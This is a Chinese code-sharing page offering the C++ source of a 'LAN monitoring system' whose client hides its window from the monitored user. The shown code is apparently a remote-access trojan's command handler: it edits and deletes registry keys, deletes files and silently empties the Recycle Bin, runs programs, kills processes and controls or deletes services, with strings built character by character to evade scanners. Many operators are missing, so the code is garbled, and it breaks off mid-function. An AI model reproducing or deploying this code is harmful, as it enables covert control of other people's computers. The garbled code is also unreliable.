在好例子网,分享、交流、成长!
您当前所在位置:首页C/C++ 开发实例Android手机应用开发 → C++小型的局域网监控系统

C++小型的局域网监控系统

Android手机应用开发

下载此实例
  • 开发语言:C/C++
  • 实例大小:45.95M
  • 下载次数:36
  • 浏览次数:282
  • 发布时间:2019-03-27
  • 实例类别:Android手机应用开发
  • 发 布 人:crazycode
  • 文件格式:.zip
  • 所需积分:2
 相关标签: 局域网 c++ 监控 系统 c

实例介绍

【实例简介】本系统属于基于C 小型的局域网监控系统,可以对某一台计算机进行屏幕监控,本系统主要实现以下功能:系统采用人机交互的方式,界面美观友好。屏幕信息需要时时显示,网络延时不能大于1秒。服务器端可以随时运行,只要客户端运行,就能够显示屏幕信息。系统运行时占用内存不能大于10MB,以免影响系统性能。客户端运行时需要隐藏显示窗口,起其感觉不到。

【实例截图】

from clipboard

【核心代码】

// MyAdminTrans.cpp: implementation of the CMyMainTrans class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "MyMainTrans.h"
#include "MyDownTrans.h"
#include "MyClientMain.h"

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CMyMainTrans::CMyMainTrans()
{
	//%08x.tmp
	char m_TempStr[256] = {0};
	m_TempStr[0] = '%';
	m_TempStr[1] = '0';
	m_TempStr[2] = '8';
	m_TempStr[3] = 'x';
	m_TempStr[4] = '.';
	m_TempStr[5] = 't';
	m_TempStr[6] = 'm';
	m_TempStr[7] = 'p';
	m_TempStr[8] = 0x00;

	m_Command = 0;	
	m_dTransLen = 0;
	m_TransData = NULL;
	GetTempPath(250, m_TmpFilePath);
	wsprintf(m_TmpFilePath   lstrlen(m_TmpFilePath), m_TempStr, GetCurrentThreadId());
}

CMyMainTrans::~CMyMainTrans()
{
	Close();
	if(m_TransData != NULL)
	{
		delete [] m_TransData;
	}
	DeleteFile(m_TmpFilePath);
}

BOOL CMyMainTrans::StartWork(PSDLLINFO m_Info)
{
	//连接到服务器
	if(!Create(WM_CONNECT_FILE, m_Info))
	{
		return FALSE;
	}

	//开始任务
	while(1)
	{
		//接收命令
		if(!ReadBag())
		{
			break;
		}

		//归零命令
		UINT nCmd = m_Command;
		m_Command = 0;

		//命令处理
		switch(nCmd)
		{
			//枚举窗口
			case CLIENT_ENUM_WINDOWS :
				MyEnumWindows();
				break;

			//关闭窗口,最大化窗口,最小化窗口
			case CLIENT_CONTROL_WINDOWS :
				MyContrlWindows();
				break;

			//删除指定键值
			case CLIENT_REG_DELETE_VALUE :
				MyRegDeleteValue();
				break;

			//更改键值
			case CLIENT_REG_UPDATE_VALUE :
				MyRegEditValue();
				break;

			//取注册表子键值
			case CLIENT_REG_QUERY :
				MyRegEnumKey();
				break;

			//删除指定子键
			case CLIENT_REG_DELETE_KEY :
				MyRegDeleteKey();
				break;

			//新建目录
			case CLIENT_CREATE_DIR :	
				CreateDir();
				break;
			
			//显示目录内容
			case CLIENT_DIR_LIST :	
				GetDirList();
				break;

			//取磁盘列表
				case CLIENT_DISK_LIST :	
				GetDiskList();
				break;

			//查找指定文件
			case CLIENT_FIND_FILE :
				GetFindFileList();
				break;

			//目录信息
			case CLIENT_DIR_INFO	:	
				GetDirInfo();
				break;

			//文件信息
			case CLIENT_FILE_INFO	:	
				GetFileInfo();
				break;

			//磁盘信息
			case CLIENT_DISK_INFO	:	
				GetDiskInfo();
				break;

			//更名
			case CLIENT_RENAME		:	
				ReNameFile();
				break;

			//删除文件
			case CLIENT_FILE_DELETE	:	
				DeleteMyFile();
				break;

			//运行文件
			case CLIENT_EXEC_FILE	:	
				ExecFile();
				break;

			//取目录拷贝列表
			case CLIENT_DOWN_FILE_LIST :
				GetDownFileList();
				break;

			//杀进程
			case CLIENT_PROCESS_KILL:	
				KillOneProcess();
				break;
			
			//列举进程
			case CLIENT_PROCESS_LIST :
				GetProcessList();
				break;

			//列举服务
			case CLIENT_ENUM_SERVICES :
				EnumMyServices();
				break;

			//更新服务
			case CLIENT_CONFIG_SERVICES :
				ConfigMyServices();
				break;

			//控制服务
			case CLIENT_CONTROL_SERVICES :
				ControlMyServices();
				break;

			//删除服务 
			case CLIENT_DELETE_SERVICE :
				DeleteMyServices();
				break;

			default	:	
				m_Command = INVALID_COMMAND;
				break;
		}

		//发送数据
		if(!SendBag())
		{
			break;
		}
	}
	return TRUE;
}

void CMyMainTrans::DeleteMyFile()
{
	LPDIRFILELIST pItemData = (LPDIRFILELIST) m_TransData;
	for(DWORD i = 0; i < (m_dTransLen / sizeof(DIRFILELIST)); i  )
	{
		FileOpertion(pItemData->m_ItemPath, "", FO_DELETE);
		pItemData   ;
	}
	SHEmptyRecycleBin(NULL, NULL, SHERB_NOCONFIRMATION|SHERB_NOPROGRESSUI|SHERB_NOSOUND);
}

void CMyMainTrans::CreateDir()
{
	LPPATHFILEITEM pItem = (LPPATHFILEITEM) m_TransData;
	if(!CreateDirectory(pItem->m_FileName, NULL))
	{
		m_Command = CREATE_DIR_FAILE;
	}
}

void CMyMainTrans::ReNameFile()
{
	LPRENAMEFILEITEM pItem = (LPRENAMEFILEITEM) m_TransData;
	if(!MoveFile(pItem->m_OldFileName, pItem->m_NewFileName))
	{
		m_Command = RENAME_FAILE;
	}
}

void CMyMainTrans::GetFindFileList()
{
	LPPATHFILEITEM pItem = (LPPATHFILEITEM) m_TransData;
	TCHAR m_FileName[MAX_PATH] = {0};
	TCHAR *p = StrRChr(pItem->m_FileName, NULL, '\\');
	if(p == NULL)
	{
		m_Command = COMMAND_PARAM_ERR;
		return;
	}
	*p = 0;
	lstrcpy(m_FileName, p   1);

	HANDLE hFile = OpenMyTmpFile();
	if(hFile == INVALID_HANDLE_VALUE)
	{
		m_Command = CAN_NOT_CREATE_TMP_FILE;
		return;
	}
	if(!FindFile(pItem->m_FileName, m_FileName, hFile))
	{
		m_Command = NOT_FIND_ANY_FILE;
	}
	CloseHandle(hFile);
}

void CMyMainTrans::FillDiskInfo(LPCTSTR pDiskName, DISKINFO& m_DiskInfo)
{
	lstrcpy(m_DiskInfo.m_Name, pDiskName);
	if(!GetDiskFreeSpaceEx(m_DiskInfo.m_Name, 
		(ULARGE_INTEGER*) &(m_DiskInfo.FreeBytesAvailable),
		(ULARGE_INTEGER*) &(m_DiskInfo.TotalNumberOfBytes),
		(ULARGE_INTEGER*) &(m_DiskInfo.TotalNumberOfFreeBytes)))
	{
		m_DiskInfo.TotalNumberOfBytes = 0;
		m_DiskInfo.FreeBytesAvailable = 0;
		m_DiskInfo.TotalNumberOfFreeBytes = 0;
	}

	DWORD MaximumComponentLength = 0;
	DWORD FileSystemFlags = 0;
	TCHAR m_DiskName[24] = {0};
	wsprintf(m_DiskName, "%s\\", pDiskName);
	GetVolumeInformation(m_DiskName, m_DiskInfo.m_Volume, 128, NULL,
		&MaximumComponentLength, &FileSystemFlags, m_DiskInfo.m_FileSys, 128);
	m_DiskInfo.m_DeviceType = GetDriveType(m_DiskName);
}

void CMyMainTrans::GetDiskInfo()
{
	LPPATHFILEITEM pItem = (LPPATHFILEITEM) m_TransData;
	DISKINFO m_DiskInfo = {0};
	FillDiskInfo(pItem->m_FileName, m_DiskInfo);
	m_dTransLen = sizeof(DISKINFO);
	CopyMemory(m_TransData, &m_DiskInfo, m_dTransLen);
	SaveDataToTmpFile();
}

void CMyMainTrans::GetDiskList()
{
	HANDLE hFile = OpenMyTmpFile();
	if(hFile == INVALID_HANDLE_VALUE)
	{
		m_Command = CAN_NOT_CREATE_TMP_FILE;
		return;
	}
	TCHAR m_DiskNameBuf[MAX_PATH] = {0};	
	DWORD nSize = GetLogicalDriveStrings(512, m_DiskNameBuf);
	for(DWORD i = 0; i < nSize; i  = 4)
	{
		CharUpper(&m_DiskNameBuf[i]);
		if(m_DiskNameBuf[i] != 'A' && m_DiskNameBuf[i] != 'B')
		{
			DISKINFO m_DiskInfo = {0};
			FillDiskInfo(&m_DiskNameBuf[i], m_DiskInfo);
			DWORD nWriteLen = 0;
			WriteFile(hFile, &m_DiskInfo, sizeof(DISKINFO), &nWriteLen, NULL);
		}
	}
	CloseHandle(hFile);
}

void CMyMainTrans::SaveDirListInfo(HANDLE hFile, LPCTSTR pFilePath)
{
	DIRFILELIST m_Info = {0};
	lstrcpy(m_Info.m_ItemPath, pFilePath);
	if(!GetFileAttributesEx(pFilePath, GetFileExInfoStandard, &m_Info.m_FileData))
	{
		return;
	}
	DWORD nWriteLen = 0;
	WriteFile(hFile, &m_Info, sizeof(DIRFILELIST), &nWriteLen, NULL);
}

void CMyMainTrans::GetDirList()
{
	LPPATHFILEITEM pItem = (LPPATHFILEITEM) m_TransData;

	TCHAR m_DirFindName[MAX_PATH] = {0};
	TCHAR m_FindPath[MAX_PATH] = {0};
	lstrcpy(m_FindPath, pItem->m_FileName);
	wsprintf(m_DirFindName, "%s\\*.*", m_FindPath);
	
	WIN32_FIND_DATA m_FindData = {0};
	HANDLE hFind = FindFirstFile(m_DirFindName, &m_FindData);
	if(hFind == INVALID_HANDLE_VALUE)
	{
		m_Command = NOT_FIND_ANY_FILE;
		return;
	}

	HANDLE hFile = OpenMyTmpFile();
	if(hFile == INVALID_HANDLE_VALUE)
	{
		CloseHandle(hFind);
		m_Command = CAN_NOT_CREATE_TMP_FILE;
		return;
	}

	char m_TmpStr[256] = {0};
	m_TmpStr[0] = '%';
	m_TmpStr[1] = 's';
	m_TmpStr[2] = '\\';
	m_TmpStr[3] = '%';
	m_TmpStr[4] = 's';

	BOOL fFinished = FALSE;
	TCHAR m_FilePath[MAX_PATH] = {0};
	while(!fFinished)
	{
		if(StrCmp(m_FindData.cFileName, ".") != 0 && StrCmp(m_FindData.cFileName, "..") != 0)
		{
			wsprintf(m_FilePath, m_TmpStr, m_FindPath, m_FindData.cFileName);
			SaveDirListInfo(hFile, m_FilePath);
		}
		if(!FindNextFile(hFind, &m_FindData)) 
		{
			if(GetLastError() == ERROR_NO_MORE_FILES) 
			{ 
				fFinished = TRUE; 
			} 
			else 
			{ 
				//异常错误
				break; 
			} 
		}
	}
	FindClose(hFind);
	CloseHandle(hFile);
}

void CMyMainTrans::GetFileInfo()
{
	LPPATHFILEITEM pItem = (LPPATHFILEITEM) m_TransData;
	FILEINFO m_FileInfo = {0};
	lstrcpy(m_FileInfo.m_szFullName, pItem->m_FileName);
	if(!GetFileAttributesEx(pItem->m_FileName, GetFileExInfoStandard, &m_FileInfo.m_FileData))
	{
		m_Command = CAN_NOT_OPEN_FILE;
		return;
	}
	CopyMemory(m_TransData, &m_FileInfo, sizeof(FILEINFO));
	m_dTransLen = sizeof(FILEINFO);
	SaveDataToTmpFile();
}

void CMyMainTrans::GetDirInfo()
{
	LPPATHFILEITEM pItem = (LPPATHFILEITEM) m_TransData;
	DIRINFO m_DirInfo;
	m_DirInfo.m_AllFileSize = 0;
	m_DirInfo.m_DirCount = 0;
	m_DirInfo.m_FileCount = 0;
	lstrcpy(m_DirInfo.m_szFullName, pItem->m_FileName);
	if(!GetFileAttributesEx(pItem->m_FileName, GetFileExInfoStandard, &m_DirInfo.m_FileData))
	{
		m_Command = CAN_NOT_OPEN_FILE;
		return;
	}
	if(!FindDir(pItem->m_FileName, m_DirInfo.m_DirCount, m_DirInfo.m_FileCount, m_DirInfo.m_AllFileSize))
	{
		m_Command = CAN_NOT_OPEN_FILE;
		return;
	}
	m_dTransLen = sizeof(DIRINFO);
	CopyMemory(m_TransData, &m_DirInfo, m_dTransLen);
	SaveDataToTmpFile();
}

BOOL CMyMainTrans::FindDir(LPCTSTR m_ParentPath, int & DirCount,int & FileCount, ULONGLONG & AllFileSize)
{
	TCHAR m_DirFindName[MAX_PATH] = {0};
	TCHAR m_FindPath[MAX_PATH] = {0};
	lstrcpy(m_FindPath, m_ParentPath);
	wsprintf(m_DirFindName, "%s\\*.*", m_FindPath);
	
	WIN32_FIND_DATA m_FindData = {0};
	HANDLE hFind = FindFirstFile(m_DirFindName, &m_FindData);
	if(hFind == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}
	char m_TmpStr[256] = {0};
	m_TmpStr[0] = '%';
	m_TmpStr[1] = 's';
	m_TmpStr[2] = '\\';
	m_TmpStr[3] = '%';
	m_TmpStr[4] = 's';
	BOOL fFinished = FALSE;
	TCHAR m_FilePath[MAX_PATH] = {0};
	while(!fFinished)
	{
		if(StrCmp(m_FindData.cFileName, ".") != 0 && StrCmp(m_FindData.cFileName, ".."))
		{
			wsprintf(m_FilePath, m_TmpStr, m_FindPath, m_FindData.cFileName);
			if(m_FindData.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
			{
				//目录
				DirCount  ;
				if(!FindDir(m_FilePath, DirCount, FileCount, AllFileSize))
				{
					return FALSE;
				}
			}
			else
			{
				//文件
				FileCount  ;
				LARGE_INTEGER nFileSize;
				nFileSize.LowPart = m_FindData.nFileSizeLow;
				nFileSize.HighPart = m_FindData.nFileSizeHigh;
				AllFileSize  = nFileSize.QuadPart;
			}
		}
		if(!FindNextFile(hFind, &m_FindData)) 
		{
			if(GetLastError() == ERROR_NO_MORE_FILES) 
			{ 
				fFinished = TRUE; 
			}
			else 
			{ 
				//异常错误
				FindClose(hFind);
				return FALSE; 
			} 
		}
	}
	FindClose(hFind);
	return TRUE;
}

void CMyMainTrans::ExecFile()
{
	LPPATHFILEITEM pItem = (LPPATHFILEITEM) m_TransData;
	ShellExecute(NULL, NULL, pItem->m_FileName, NULL, NULL, SW_SHOW);
}

BOOL CMyMainTrans::FindFile(LPCTSTR m_ParentPath, LPCTSTR FileName, HANDLE hFile)
{
	TCHAR m_FindName[MAX_PATH] = {0};
	lstrcpy(m_FindName, FileName);

	TCHAR m_DirFindName[MAX_PATH] = {0};
	TCHAR m_FindPath[MAX_PATH] = {0};
	lstrcpy(m_FindPath, m_ParentPath);
	wsprintf(m_DirFindName, "%s\\*.*", m_FindPath);
	
	WIN32_FIND_DATA m_FindData = {0};
	HANDLE hFind = FindFirstFile(m_DirFindName, &m_FindData);
	if(hFind == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}

	char m_TmpStr[256] = {0};
	m_TmpStr[0] = '%';
	m_TmpStr[1] = 's';
	m_TmpStr[2] = '\\';
	m_TmpStr[3] = '%';
	m_TmpStr[4] = 's';

	BOOL fFinished = FALSE;
	TCHAR m_FilePath[MAX_PATH] = {0};
	while(!fFinished)
	{
		if(StrCmp(m_FindData.cFileName, ".") != 0 && StrCmp(m_FindData.cFileName, ".."))
		{
			wsprintf(m_FilePath, m_TmpStr, m_FindPath, m_FindData.cFileName);
			if(m_FindData.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
			{
				//目录
				if(!FindFile(m_FilePath, FileName, hFile))
				{
					return FALSE;
				}
			}
			else
			{
				//* || *.*
				if(StrCmp(m_FindName, "*") == 0 || StrCmp(m_FindName, "*.*") == 0)
				{
					SaveDirListInfo(hFile, m_FilePath);
				}
				//*.查找
				else if(m_FindName[0] == '*' && m_FindName[1] == '.')
				{
					if(StrCmpI(m_FindName   1, m_FindData.cFileName   lstrlen(m_FindData.cFileName) - lstrlen(m_FindName   1)) == 0)
					{
						SaveDirListInfo(hFile, m_FilePath);
					}
				}
				//.*查找
				else if(m_FindName[lstrlen(m_FindName) - 2] == '.' && m_FindName[lstrlen(m_FindName) - 1] == '*')
				{
					//扩展名查找
					if(StrCmpNI(m_FindName, m_FindData.cFileName, lstrlen(m_FindName) - 2) == 0
						&& lstrlen(m_FindName)   2 == lstrlen(m_FindData.cFileName))
					{
						SaveDirListInfo(hFile, m_FilePath);
					}
				}
				else if(StrCmpI(m_FindName, m_FindData.cFileName) == 0)
				{
					SaveDirListInfo(hFile, m_FilePath);
				}
			}
		}

		if(!FindNextFile(hFind, &m_FindData)) 
		{
			if(GetLastError() == ERROR_NO_MORE_FILES) 
			{ 
				fFinished = TRUE; 
			} 
			else 
			{ 
				//异常错误
				FindClose(hFind);
				return FALSE; 
			} 
		}
	}
	FindClose(hFind);
	return TRUE;
}

void CMyMainTrans::SaveCopyListInfo(HANDLE hFile, LPCTSTR pFilePath)
{
	WIN32_FILE_ATTRIBUTE_DATA m_FileData = {0};
	if(!GetFileAttributesEx(pFilePath, GetFileExInfoStandard, &m_FileData))
	{
		return;
	}
	CPFILEINFO m_Info = {0};
	m_Info.m_FileLen.HighPart = m_FileData.nFileSizeHigh;
	m_Info.m_FileLen.LowPart = m_FileData.nFileSizeLow;
	lstrcpy(m_Info.m_FileName, pFilePath);
	DWORD nWriteLen = 0;
	WriteFile(hFile, &m_Info, sizeof(CPFILEINFO), &nWriteLen, NULL);
}

void CMyMainTrans::GetDownFileList()
{
	HANDLE hFile = OpenMyTmpFile();
	if(hFile == INVALID_HANDLE_VALUE)
	{
		m_Command = CAN_NOT_CREATE_TMP_FILE;
		return;
	}

	LPDIRFILELIST pData = (LPDIRFILELIST) m_TransData;
	for(DWORD i = 0; i < m_dTransLen / sizeof(DIRFILELIST); i  )
	{
		if(pData->m_FileData.dwFileAttributes)
		{
			FindCopyFile(pData->m_ItemPath, hFile);
		}
		else
		{
			SaveCopyListInfo(hFile, pData->m_ItemPath);
		}	
		pData  ;
	}
	CloseHandle(hFile);
}

BOOL CMyMainTrans::FindCopyFile(LPCTSTR m_ParentPath, HANDLE hFile)
{
	TCHAR m_DirFindName[MAX_PATH] = {0};
	TCHAR m_FindPath[MAX_PATH] = {0};
	lstrcpy(m_FindPath, m_ParentPath);
	wsprintf(m_DirFindName, "%s\\*.*", m_FindPath);
	
	WIN32_FIND_DATA m_FindData = {0};
	HANDLE hFind = FindFirstFile(m_DirFindName, &m_FindData);
	if(hFind == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}

	char m_TmpStr[256] = {0};
	m_TmpStr[0] = '%';
	m_TmpStr[1] = 's';
	m_TmpStr[2] = '\\';
	m_TmpStr[3] = '%';
	m_TmpStr[4] = 's';

	BOOL fFinished = FALSE;
	TCHAR m_FilePath[MAX_PATH] = {0};
	while(!fFinished)
	{
		if(StrCmp(m_FindData.cFileName, ".") != 0 && StrCmp(m_FindData.cFileName, ".."))
		{
			wsprintf(m_FilePath, m_TmpStr, m_FindPath, m_FindData.cFileName);
			if(m_FindData.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
			{
				//目录
				if(!FindCopyFile(m_FilePath, hFile))
				{
					return FALSE;
				}
			}
			else
			{
				//文件
				SaveCopyListInfo(hFile, m_FilePath);
			}
		
		}
		if(!FindNextFile(hFind, &m_FindData)) 
		{
			if(GetLastError() == ERROR_NO_MORE_FILES) 
			{ 
				fFinished = TRUE; 
			} 
			else 
			{ 
				//异常错误
				FindClose(hFind);
				return FALSE; 
			} 
		}
	}
	FindClose(hFind);
	return TRUE;
}

BOOL WINAPI CMyMainTrans::FileOpertion(LPCTSTR szFileName1,LPCTSTR szFileName2,DWORD opt)
{ 
	SHFILEOPSTRUCT shf = {0}; 
	TCHAR sr[MAX_PATH] = {0}; 
	TCHAR de[MAX_PATH] = {0};
	lstrcpy(sr, szFileName1); 
	lstrcpy(de, szFileName2); 
	ZeroMemory(&shf, sizeof(shf)); 
	shf.hwnd = NULL;
	shf.wFunc = opt; 
	shf.pFrom = sr; 
	shf.pTo = de; 
	shf.fFlags = FOF_SILENT|FOF_FILESONLY|FOF_MULTIDESTFILES|FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR; 
	return (!(SHFileOperation(&shf)));
} 

BOOL CALLBACK CMyMainTrans::EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
	DWORD nPid = 0;
	GetWindowThreadProcessId(hWnd, &nPid);
	if(nPid == GetCurrentProcessId())
	{
		return TRUE;
	}

	TCHAR m_Title[MAX_PATH] = {0};
	GetWindowText(hWnd, m_Title, 512);
	if(lstrlen(m_Title) > 0 && (StrCmp(m_Title, "") != 0) &&
	(StrCmp(m_Title, "M") != 0) && (StrCmp(m_Title, "Default IME") != 0))
	{
		WINDOWITEM m_Item = {0};
		m_Item.m_hWnd = hWnd;
		lstrcpy(m_Item.m_WndName, m_Title);
		MyMainFunc::GetMoudleMame(nPid, m_Item.m_ProcName);
		DWORD nWriteLen = 0;
		WriteFile((HANDLE) lParam, &m_Item, sizeof(WINDOWITEM), &nWriteLen, NULL);
	}
	return TRUE;
}

void CMyMainTrans::MyEnumWindows()
{
	HANDLE hFile = OpenMyTmpFile();
	if(hFile == INVALID_HANDLE_VALUE)
	{
		m_Command = CAN_NOT_CREATE_TMP_FILE;
		return;
	}
	
	HDESK hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
	HDESK hNewDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
	if(hNewDesktop != NULL)
	{
		SetThreadDesktop(hNewDesktop);
	}
	EnumWindows(EnumWindowsProc, (LPARAM) hFile);
	SetThreadDesktop(hOldDesktop);
	CloseHandle(hFile);
}

void CMyMainTrans::MyContrlWindows()
{
	LPWINDOWITEM pItem = (LPWINDOWITEM) m_TransData;

	HDESK hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
	HDESK hNewDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
	if(hNewDesktop != NULL)
	{
		SetThreadDesktop(hNewDesktop);
	}
	switch(pItem->m_CtrlType)
	{
		case WM_CLOSE	: PostMessage(pItem->m_hWnd, WM_CLOSE, 0, 0); break;
		default		: ShowWindow(pItem->m_hWnd, pItem->m_CtrlType); break;
	}
	if(pItem->m_CtrlType == SW_SHOWMAXIMIZED || pItem->m_CtrlType == SW_SHOW)
	{
		BringWindowToTop(pItem->m_hWnd);
		UpdateWindow(pItem->m_hWnd);
	}
	SetThreadDesktop(hOldDesktop);
}

void CMyMainTrans::GetProcessList()
{
	HANDLE m_Sys = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	if(m_Sys == NULL)
	{
		m_Command = GET_PROCESS_LIST_ERR;
		return;
	}

	PROCESSENTRY32 m_Lppe = {0};
	m_Lppe.dwSize = sizeof(PROCESSENTRY32);
	if(!Process32First(m_Sys,&m_Lppe))
	{
		m_Command = GET_PROCESS_LIST_ERR;
		CloseHandle(m_Sys);
		return;
	}
	
	MyMainFunc::GetMyToken();

	HANDLE hFile = OpenMyTmpFile();
	if(hFile == INVALID_HANDLE_VALUE)
	{
		m_Command = CAN_NOT_CREATE_TMP_FILE;
		return;
	}

	PROCESSLIST m_ProcessList = {0};
	m_ProcessList.cntThreads = m_Lppe.cntThreads;
	m_ProcessList.pcPriClassBase = m_Lppe.pcPriClassBase;
	m_ProcessList.th32ProcessID = m_Lppe.th32ProcessID;
	lstrcpy(m_ProcessList.szExeFile,m_Lppe.szExeFile);
	if(StrRChr(m_ProcessList.szExeFile, NULL, '\\') == NULL)
	{
		MyMainFunc::GetMoudleMame(m_ProcessList.th32ProcessID, m_ProcessList.szExeFile);
	}

	DWORD nWriteLen = 0;
	WriteFile(hFile, &m_ProcessList, sizeof(PROCESSLIST), &nWriteLen, NULL);
	while(Process32Next(m_Sys,&m_Lppe))
	{
		ZeroMemory(&m_ProcessList, sizeof(PROCESSLIST));
		m_ProcessList.cntThreads = m_Lppe.cntThreads;
		m_ProcessList.pcPriClassBase = m_Lppe.pcPriClassBase;
		m_ProcessList.th32ProcessID = m_Lppe.th32ProcessID;
		lstrcpy(m_ProcessList.szExeFile,m_Lppe.szExeFile);
		if(StrRChr(m_ProcessList.szExeFile, NULL, '\\') == NULL)
		{
			MyMainFunc::GetMoudleMame(m_ProcessList.th32ProcessID, m_ProcessList.szExeFile);
		}
		WriteFile(hFile, &m_ProcessList, sizeof(PROCESSLIST), &nWriteLen, NULL);
	}
	CloseHandle(hFile);
	CloseHandle(m_Sys);
}

void CMyMainTrans::KillOneProcess()
{
	LPPATHFILEITEM pItem = (LPPATHFILEITEM) m_TransData;
	DWORD m_ProcessId = StrToInt(pItem->m_FileName);

	MyMainFunc::GetMyToken();
	HANDLE m_Kill = OpenProcess(PROCESS_TERMINATE, FALSE, m_ProcessId);
	if(m_Kill == NULL)
	{
		//终止进程失败
		m_Command = KILL_PROCESS_ERR;
		return;
	}
	if(!TerminateProcess(m_Kill,0))
	{
		//终止进程失败
		m_Command = KILL_PROCESS_ERR;
		CloseHandle(m_Kill);
		return;
	}
	CloseHandle(m_Kill);
}

void CMyMainTrans::ConfigMyServices()
{
	MyMainFunc::GetMyToken();

	SC_HANDLE hMana = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS|
		GENERIC_READ|GENERIC_WRITE|GENERIC_EXECUTE);
	if(hMana == NULL)
	{
		m_Command = CONFIG_SERVICES_FAIL;
		return;
	}
	LPMYSERVICES pServices = (LPMYSERVICES) m_TransData;
	SC_HANDLE hServices = OpenService(hMana, pServices->m_Name,SERVICE_ALL_ACCESS);
	if(hServices == NULL)
	{
		CloseServiceHandle(hMana);
		m_Command = CONTROL_SERVICES_FAIL;
		return;
	}
	if(!ChangeServiceConfig(hServices, SERVICE_NO_CHANGE,
		pServices->dwStartType, SERVICE_NO_CHANGE ,
		NULL, NULL, NULL, NULL, NULL, NULL, pServices->m_Disp))
	{
		CloseServiceHandle(hServices);
		CloseServiceHandle(hMana);
		m_Command = CONTROL_SERVICES_FAIL;
		return;
	}
	CloseServiceHandle(hServices);
	CloseServiceHandle(hMana);
	m_Command = 0;
}

void CMyMainTrans::ControlMyServices()
{
	LPCONTROLSERVICES pItem = (LPCONTROLSERVICES) m_TransData;

	MyMainFunc::GetMyToken();

	SC_HANDLE hMana = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS|
		GENERIC_READ|GENERIC_WRITE|GENERIC_EXECUTE);
	if(hMana == NULL)
	{
		m_Command = CONTROL_SERVICES_FAIL;
		return;
	}

	SC_HANDLE hServices = OpenService(hMana, pItem->m_Name, SERVICE_ALL_ACCESS);
	if(hServices == NULL)
	{
		CloseServiceHandle(hMana);
		m_Command = CONTROL_SERVICES_FAIL;
		return;
	}

	BOOL ret = FALSE;
	SERVICE_STATUS m_Status = {0};
	switch(pItem->m_Flag)
	{
		case 0	: ret = StartService(hServices, NULL, 0); break;
		case 1	: ret = ControlService(hServices, SERVICE_CONTROL_STOP, &m_Status); break;
		default	: break;
	}
	if(ret)
	{
		m_Command = 0;
	}
	else
	{
		m_Command = CONTROL_SERVICES_FAIL;
	}
	CloseServiceHandle(hServices);
	CloseServiceHandle(hMana);
}

void CMyMainTrans::DeleteMyServices()
{
	LPCONTROLSERVICES pItem = (LPCONTROLSERVICES) m_TransData;

	MyMainFunc::GetMyToken();
	SC_HANDLE hMana = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS|
		GENERIC_READ|GENERIC_WRITE|GENERIC_EXECUTE);
	if(hMana == NULL)
	{
		m_Command = SERVICE_DELETE_ERR;
		return;
	}

	SC_HANDLE hServices = OpenService(hMana, pItem->m_Name, SERVICE_ALL_ACCESS);
	if(hServices == NULL)
	{
		CloseServiceHandle(hMana);
		m_Command = SERVICE_DELETE_ERR;
		return;
	}
	BOOL ret = DeleteService(hServices);
	CloseServiceHandle(hServices);
	CloseServiceHandle(hMana);
	if(!ret) 
	{
		m_Command = SERVICE_DELETE_ERR;
	}
}

void CMyMainTrans::EnumMyServices()
{
	MyMainFunc::GetMyToken();

	SC_HANDLE hMana = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS|
		GENERIC_READ|GENERIC_WRITE|GENERIC_EXECUTE);
	if(hMana == NULL)
	{
		m_Command = ENUM_SERVICES_FAIL;
		return;
	}

	DWORD m_ByteNeed = 0;
	DWORD m_Count = 0;
	DWORD NextEntry = 0;
	BYTE *m_TmpBuf = new BYTE[65535];
	if(!EnumServicesStatus(hMana, SERVICE_WIN32,
		SERVICE_STATE_ALL, (LPENUM_SERVICE_STATUS) m_TmpBuf,
		65534, &m_ByteNeed, &m_Count, &NextEntry))
	{
		delete [] m_TmpBuf;
		CloseServiceHandle(hMana);
		m_Command = ENUM_SERVICES_FAIL;
		return;
	}

	HANDLE hFile = OpenMyTmpFile();
	if(hFile == INVALID_HANDLE_VALUE)
	{
		delete [] m_TmpBuf;
		m_Command = CAN_NOT_CREATE_TMP_FILE;
		return;
	}

	MYSERVICES m_Services = {0};
	LPENUM_SERVICE_STATUS pStauts = (LPENUM_SERVICE_STATUS) m_TmpBuf;
	for(DWORD i = 0; i < m_Count; i  )
	{
		ZeroMemory(&m_Services,sizeof(MYSERVICES));
		lstrcpy(m_Services.m_Name,pStauts[i].lpServiceName);
		lstrcpy(m_Services.m_Disp,pStauts[i].lpDisplayName);
		*((DWORD*) m_Services.m_Status) = pStauts[i].ServiceStatus.dwCurrentState;
		GetServicesConfig(hMana,&m_Services);
		DWORD nWriteLen = 0; 
		WriteFile(hFile, &m_Services, sizeof(MYSERVICES), &nWriteLen, NULL);
	}
	CloseHandle(hFile);
	delete [] m_TmpBuf;
	CloseServiceHandle(hMana);
}

void CMyMainTrans::GetServicesConfig(SC_HANDLE hMana,LPMYSERVICES pServices)
{
	SC_HANDLE hServices = OpenService(hMana, pServices->m_Name, SERVICE_ALL_ACCESS);
	if(hServices == NULL) 
	{
		return;
	}

	//SYSTEM\\ControlSet001\\Services\\%s
	char m_TempStr[256] = {0};
	m_TempStr[0] = 'S';
	m_TempStr[1] = 'Y';
	m_TempStr[2] = 'S';
	m_TempStr[3] = 'T';
	m_TempStr[4] = 'E';
	m_TempStr[5] = 'M';
	m_TempStr[6] = '\\';
	m_TempStr[7] = 'C';
	m_TempStr[8] = 'o';
	m_TempStr[9] = 'n';
	m_TempStr[10] = 't';
	m_TempStr[11] = 'r';
	m_TempStr[12] = 'o';
	m_TempStr[13] = 'l';
	m_TempStr[14] = 'S';
	m_TempStr[15] = 'e';
	m_TempStr[16] = 't';
